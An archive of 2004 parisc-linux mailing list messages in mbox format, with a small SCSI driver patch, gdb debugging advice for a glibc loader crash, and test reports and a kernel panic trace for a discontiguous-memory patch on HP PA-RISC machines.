@@ -140,12 +147,18 @@
 static inline void
 NCR_700_set_flag(Scsi_Device *SDp, __u32 flag)
 {
-	((unsigned long)SDp->hostdata) |=3D (flag & 0xffff0000);
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l |=3D (flag & 0xffff0000);
+	SDp->hostdata =3D (void *)l;
 }
 static inline void
 NCR_700_clear_flag(Scsi_Device *SDp, __u32 flag)
 {
-	((unsigned long)SDp->hostdata) &=3D ~(flag & 0xffff0000);
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l &=3D ~(flag & 0xffff0000);
+	SDp->hostdata =3D (void *)l;
 }
 
 /* These represent the Nexus hashing functions.  A Nexus in SCSI terms
=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

hth,
    Joel

PS: btw I also have similar small patches for upstream (crc32.c, readdir.=
c,
fbcon.c, ...). Do you know who can help me to submit it to Marcelo (I alr=
eady
try directly but no audience $) )

-------------------------------------------------------------------------=
--
NEW: Tiscali ADSL LIGHT, 28,95 EUR/mois, c'est le moment de faire le pas!=

http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new toolchain (binutils 2.15, gcc 3.5, glibc 2.3.3)
	progress
Date: Sat, 03 Jul 2004 12:01:18 +0000
Lines: 83
Approved: news@gmane.org
Message-ID: <40E6A00E.8020203@tiscali.be>
References: <40BD9F8700014B6E@ocpmta2.freegates.net>
	<20040702165304.GM19793@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624459 25569 80.91.229.3 (22 Nov 2014 02:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5921 invoked by uid 65534); 3 Jul 2004 12:01:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 03 Jul 2004 14:01:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 10E793BDD6; Sat,  3 Jul 2004 06:01:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09077-01; Sat, 3 Jul 2004 06:01:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 39DDF3BDE2; Sat,  3 Jul 2004 06:01:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 574503BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jul 2004 06:01:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09024-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Jul 2004 06:01:07 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 255B93BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jul 2004 06:01:07 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 985264946AC; Sat,  3 Jul 2004 06:01:06 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id DBBA64946A5
	for <parisc-linux@parisc-linux.org>;
	Sat,  3 Jul 2004 06:01:05 -0600 (MDT)
Original-Received: from [83.134.226.109] (helo=[83.134.226.109])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BgjCa-0007Ae-EF; Sat, 03 Jul 2004 14:01:04 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7) Gecko/20040624 Debian/1.7-2
X-Accept-Language: en
In-Reply-To: <20040702165304.GM19793@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24862



Carlos O'Donell wrote:
>>I can now reproduce what happend during check :)
>>and the crash occurs now at 0x401f67a8
>>
>>and ddd offers me a related dump window:
>>Dump of assembler code from 0x401f67a8 to 0x401f68a8:
>>    0x401f67a8:     ldw 0(,r25),r21
>>    0x401f67ac:     ldo 1115(r20),r20
> 
> 
> Joel, the most important code is what came *before* teh crash insn, you
> usually want atleast 16-32 insns before the crash to see what was going
> on, usually I trace back to try find the start of the function.
> 
> 
>>0002c77c <_nl_intern_locale_data>:
>>   2c77c:       6b c2 3f d9     stw rp,-14(,sp)
>>   2c780:       6f c6 00 80     stw,ma r6,40(,sp)
>>   2c784:       08 1a 02 46     copy r26,r6
>>   2c788:       6b c5 3f 89     stw r5,-3c(,sp)
>>   2c78c:       08 19 02 45     copy r25,r5
>>   2c790:       6b c3 3f 99     stw r3,-34(,sp)
>>   2c794:       08 18 02 43     copy r24,r3
>>   2c798:       6b c4 3f 91     stw r4,-38(,sp)
>>   2c79c:       8f 0e 81 d0     cmpib,>>= 7,r24,2c88c <_nl_intern_locale_data+0x110>
>>   2c7a0:       6b d3 3f c1     stw r19,-20(,sp)
>>   2c7a4:       22 98 04 00     ldil 20030000,r20
>>==>2c7a8:       0f 20 10 95     ldw 0(,r25),r21
> 
> 
> You are trying to get data from a pointer passed in as the second
> parameter to the function, you want to see the value of r25 before the
> load to see if it is valid. In gdb you can print register values or just
> use the info command to see all the regs. You can display regs by using
> '$r25' AFAIR, though the format may vary.
> 
ah I see
And btw if I put a break at 0x401f677c (corresponding to line 2c77c: the first routine insn), I would also be able to find the 
address from where it's called (just have to find back the right register).
Thanks for the tips.

> 
>>(gdb) break set_dp (if i well understand?)
> 
> 
> Yes, that's *very* early on. I try to break the startup in fixup().
> 
ok I will do so ;)

> 
>>and the prgm stop well at the requested address but unforunately bt still
>>refuse to unwind :(
> 
> 
> You won't get *any* usefull unwind info from debugging the loader, it's
> all very difficult during the early relocation process because the
> debugger doesn't understand what is being loaded where.
>  
Ok
> 
>>It seems so that the libc itself doesn't hown enough info for unwind. Is
>>-g option is enough or is there another configure option I missed or is
>>it possible to abuse a bit makefile files to force the libc build with more
>>usable info?
> 
> 
> There are tricks to debug programs that use the new loader, but if the
> loader is dying then there isn't much you can do except hack at from
> assembly.
> 
In fact I don't expect very much from assembly but hope more from gdb tracing back the way of process.
(I don't have any background about any loader so have all to learn :)

Thanks for advises,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH/RFC: discontig mem support for hppa
Date: Mon, 5 Jul 2004 14:46:54 +0200
Lines: 196
Approved: news@gmane.org
Message-ID: <40BD9F8700015C52@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624459 25573 80.91.229.3 (22 Nov 2014 02:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26511 invoked by uid 65534); 5 Jul 2004 12:47:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 05 Jul 2004 14:47:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C082E3BE02; Mon,  5 Jul 2004 06:47:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03311-06; Mon, 5 Jul 2004 06:47:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 61CA23BDF6; Mon,  5 Jul 2004 06:47:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 512D03BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jul 2004 06:47:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03311-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jul 2004 06:46:59 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 174C03BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jul 2004 06:46:59 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9445A494732; Mon,  5 Jul 2004 06:46:58 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id C8B984946AE
	for <parisc-linux@parisc-linux.org>;
	Mon,  5 Jul 2004 06:46:57 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 5 Jul 2004 14:46:54 +0200
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24863

Randolph,

>
> sorry about that.
Don't worry :)

> try this one instead.
>
That compiles fine now ;) (with my c110 config)

I also test on n4k with 4Gb of ram and seems to works:
# cat /proc/meminfo
MemTotal:      4194548 kB
MemFree:       1994952 kB
Buffers:          3712 kB
Cached:          25784 kB
SwapCached:          0 kB
Active:          22864 kB
Inactive:        15808 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:      4194548 kB
LowFree:       1994952 kB
SwapTotal:      250872 kB
SwapFree:       250872 kB
Dirty:             532 kB
Writeback:           0 kB
Mapped:          18104 kB
Slab:             7524 kB
Committed_AS:    15968 kB
PageTables:        984 kB
VmallocTotal:   245728 kB
VmallocUsed:       268 kB
VmallocChunk:   245388 kB

:)

Any way as you noticed a part seems to be view as 'used' by top:
top - 11:58:41 up 19 min,  1 user,  load average: 0.16, 0.17, 0.18
Tasks:  51 total,   1 running,  50 sleeping,   0 stopped,   0 zombie
Cpu(s):  1.3% us,  1.7% sy,  0.0% ni, 91.1% id,  0.0% wa,  0.0% hi,  6.0%=

si
Mem:   4194548k total,  2200236k used,  1994312k free,     3756k buffers
Swap:   250872k total,        0k used,   250872k free,    25844k cached
[...]

(Just after a reboot, before there are only about 50Mb of used mem?)

But I also encounter a weird pb after the build and the install of severa=
ll
modules:
WARNING: /lib/modules/2.6.7-pa7/build/net/sunrpc/sunrpc.ko needs unknown
symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/net/sunrpc/auth_gss/auth_rpcgss.ko
needs unknown symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/net/sunrpc/auth_gss/auth_rpcgss.ko
needs unknown symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/net/core/pktgen.ko needs unknown sy=
mbol
node_data
WARNING: /lib/modules/2.6.7-pa7/build/fs/xfs/xfs.ko needs unknown symbol
pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/fs/xfs/xfs.ko needs unknown symbol
node_data
WARNING: /lib/modules/2.6.7-pa7/build/fs/nfs/nfs.ko needs unknown symbol
node_data
WARNING: /lib/modules/2.6.7-pa7/build/fs/jfs/jfs.ko needs unknown symbol
pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/fs/jfs/jfs.ko needs unknown symbol
node_data
WARNING: /lib/modules/2.6.7-pa7/build/drivers/scsi/qlogicfc.ko needs unkn=
own
symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/drivers/scsi/qlogicfc.ko needs unkn=
own
symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/drivers/scsi/qla1280.ko needs unkno=
wn
symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/drivers/scsi/qla1280.ko needs unkno=
wn
symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/drivers/scsi/qla2xxx/qla2xxx.ko nee=
ds
unknown symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/drivers/scsi/qla2xxx/qla2xxx.ko nee=
ds
unknown symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/drivers/net/acenic.ko needs unknown=

symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/drivers/net/acenic.ko needs unknown=

symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/drivers/net/wireless/airo.ko needs
unknown symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/drivers/net/wireless/airo.ko needs
unknown symbol node_data
WARNING: /lib/modules/2.6.7-pa7/build/crypto/tcrypt.ko needs unknown symb=
ol
pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/build/crypto/tcrypt.ko needs unknown symb=
ol
node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/fs/xfs/xfs.ko needs unknown symbol=

pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/fs/xfs/xfs.ko needs unknown symbol=

node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/fs/nfs/nfs.ko needs unknown symbol=

node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/fs/jfs/jfs.ko needs unknown symbol=

pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/fs/jfs/jfs.ko needs unknown symbol=

node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/net/core/pktgen.ko needs unknown
symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/net/sunrpc/sunrpc.ko needs unknown=

symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/net/sunrpc/auth_gss/auth_rpcgss.ko=

needs unknown symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/net/sunrpc/auth_gss/auth_rpcgss.ko=

needs unknown symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/crypto/tcrypt.ko needs unknown sym=
bol
pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/crypto/tcrypt.ko needs unknown sym=
bol
node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/scsi/qlogicfc.ko needs unk=
nown
symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/scsi/qlogicfc.ko needs unk=
nown
symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/scsi/qla2xxx/qla2xxx.ko ne=
eds
unknown symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/scsi/qla2xxx/qla2xxx.ko ne=
eds
unknown symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/scsi/qla1280.ko needs unkn=
own
symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/scsi/qla1280.ko needs unkn=
own
symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/net/wireless/airo.ko needs=

unknown symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/net/wireless/airo.ko needs=

unknown symbol node_data
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/net/acenic.ko needs unknow=
n
symbol pfnnid_map
WARNING: /lib/modules/2.6.7-pa7/kernel/drivers/net/acenic.ko needs unknow=
n
symbol node_data

any idea?

(I read a similar pb http://lists.parisc-linux.org/pipermail/parisc-linux=
/2004-February/022418.html
but don't find the fix :( )

( I trust you can can safely comit :)

hth,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Panic on b2k: PATCH/RFC: discontig mem support for
	hppa
Date: Mon, 5 Jul 2004 18:12:24 +0200
Lines: 155
Approved: news@gmane.org
Message-ID: <40BDA020000159C9@ocpmta3.freegates.net>
References: <40BD9F8700015C52@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624460 25576 80.91.229.3 (22 Nov 2014 02:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16757 invoked by uid 65534); 5 Jul 2004 16:13:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 05 Jul 2004 18:13:06 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B43723BDCE; Mon,  5 Jul 2004 10:12:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03914-10; Mon, 5 Jul 2004 10:12:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B11AA3BDF6; Mon,  5 Jul 2004 10:12:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6142A3BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jul 2004 10:12:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03811-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jul 2004 10:12:29 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 267C33BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jul 2004 10:12:29 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7C167494732; Mon,  5 Jul 2004 10:12:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id C7D564946AE
	for <parisc-linux@parisc-linux.org>;
	Mon,  5 Jul 2004 10:12:25 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 5 Jul 2004 18:12:24 +0200
In-Reply-To: <40BD9F8700015C52@ocpmta2.freegates.net>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24864


 Randolph,
> 
> >
> > sorry about that.
> Don't worry :)
> 
> > try this one instead.
> >
> That compiles fine now ;) (with my c110 config)
> 
> I also test on n4k with 4Gb of ram and seems to works:
> # cat /proc/meminfo
Sorry but I had the bad idea to test it on the b2k and unfortunately it
panics very early:
Kernel command line: root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TERM=3Dvt1=
02 palo_kernel=3D3/vmlinux-2.6.7-pa7
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
kernel BUG at include/asm/mmzone.h:72!
Kernel addresses on the stack:
 [<10125e84>] printk+0x144/0x190
 [<101066b8>] dump_stack+0x18/0x24
 [<10485ebc>] free_all_bootmem_core+0x2a4/0x2d4
 [<10485160>] pidhash_init+0xf0/0x168
 [<104830fc>] mem_init+0x34/0x6c
 [<104804f0>] start_kernel+0x118/0x1e4


Stack Dump:
 10474558:  10474558 55555555 55555555 55555555 
 10474548:  55555555 55555555 55555555 55555555 
 10474538:  55555555 55555555 55555555 55555555 
 10474528:  55555555 55555555 55555555 55555555 
 10474518:  55555555 55555555 55555555 00000000 
 10474508:  104741c0 0000000f 0000137f 90474346 
 104744f8:  00000020 10474294 ffffffff 10107088 
 104744e8:  7fffffff 10474348 00000010 103d6ad0 
 104744d8:  ffffffff 00000000 f0400004 0000000f 
 104744c8:  104d8010 0000000f 104d8010 55555555 
 104744b8:  55555555 55555555 55555555 10125fcc 
 104744a8:  55555555 104c8384 00000400 104c8010 
 10474498:  10474308 0000137f 10000000 0000009c 
 10474488:  00010000 104803dc 104b8810 101f8484 
 10474478:  10474400 00000000 10467172 101f8d9c 
 10474468:  10474298 10467178 00000055 10474320 
 10474458:  000061f8 10371283 104c839d 0000000f 
 10474448:  103cf010 103cf274 00000019 f0400004 
 10474438:  10418010 10430810 1047431c 10125e84 
 10474428:  10474318 10474280 10474348 10474288 
 10474418:  10474308 10474380 10371280 00000000 
 10474408:  0004000e 104803dc 104b8810 104c8783 
 104743f8:  00000002 104db010 ffffffff 1010c088 
 104743e8:  00000400 104c8384 00000010 103d6ad0 
 104743d8:  00000000 1034eddc 10474280 10474348 
 104743c8:  10474288 10474308 10474380 104c8783 
 104743b8:  00000001 10478000 00000008 1013e6c8 
 104743a8:  104804f0 10474000 10474308 10371280 
 10474398:  10474348 1034eddc 0000137f 00000000 
 10474388:  0c601094 00000004 00000000 104c8783 
 10474378:  00000002 1034c508 ffffffff 10485e64 
 10474368:  10485e60 00000000 00000000 00000000 
 10474358:  00000000 00000000 00000000 00000000 
 10474348:  00000000 00000000 00000000 55555555 
 10474338:  55555555 55555555 55555555 55555555 
 10474328:  55555555 55555555 55555555 55555555 
 10474318:  55555555 55555555 55555555 55555555 
 10474308:  55555555 55555555 55555555 55555555 
 104742f8:  55555555 55555555 55555555 55555555 
 104742e8:  55555555 55555555 55555555 55555555 
 104742d8:  55555555 55555555 55555555 55555555 
 104742c8:  55555555 55555555 55555555 55555555 
 104742b8:  55555555 55555555 55555555 55555555 
 104742a8:  55555555 55555555 55555555 55555555 
 10474298:  55555555 55555555 55555555 55555555 
 10474288:  55555555 55555555 55555555 55555555 
 10474278:  55555555 55555555 55555555 55555555 
 10474268:  55555555 00000000 00000000 00000000 
 10474258:  0000001f 00000000 0000001f 00000000 
 10474248:  0000001f 24850e06 04100800 101f8484 
 10474238:  104741c0 00000000 00000001 103af010 
 10474228:  103cf26c 00000001 ffffffff 00000034 
 10474218:  104f1000 ffffffff 00000001 0000000f 
 10474208:  f0000174 f000017c f00008c4 f0400004 
 104741f8:  00000000 ffffffff 104b8810 104b6010 
 104741e8:  104f1000 00000001 104b8d50 f0000000 
 104741d8:  00010000 0000009c 10000000 0000137f 
 104741c8:  10485ebc 104b6010 0004ff0e 00000000 
 104741b8:  00000000 00000000 00000000 10485ebc 
 104741a8:  00000000 00000000 00000000 1034c054 
 10474198:  1034c4f4 00000048 00000034 00000040 
 10474188:  104da3c0 0000000c 00000003 000000b2 
 10474178:  000000b2 00000000 104b650c 10485160 
 10474168:  103d0810 00800327 003c8210 0006cf80 

Kernel addresses on the stack:
 [<101f7840>] strncpy+0xc/0x2c
 [<10106d84>] parisc_terminate+0x60/0xb8
 [<10107088>] handle_interruption+0x2ac/0x5b0
 [<10125fcc>] release_console_sem+0x60/0x10c
 [<101f8d9c>] vscnprintf+0x10/0x2c
 [<10125e84>] printk+0x144/0x190
 [<1010c088>] intr_check_sig+0x0/0xc
 [<1013e6c8>] __print_symbol+0xc8/0x15c
 [<10485e64>] free_all_bootmem_core+0x24c/0x2d4
 [<10485ebc>] free_all_bootmem_core+0x2a4/0x2d4
 [<10485160>] pidhash_init+0xf0/0x168
 [<104830fc>] mem_init+0x34/0x6c
 [<104804f0>] start_kernel+0x118/0x1e4


Kernel Fault: Code=3D15 regs=3D104741c0 (Addr=3D0000137f)

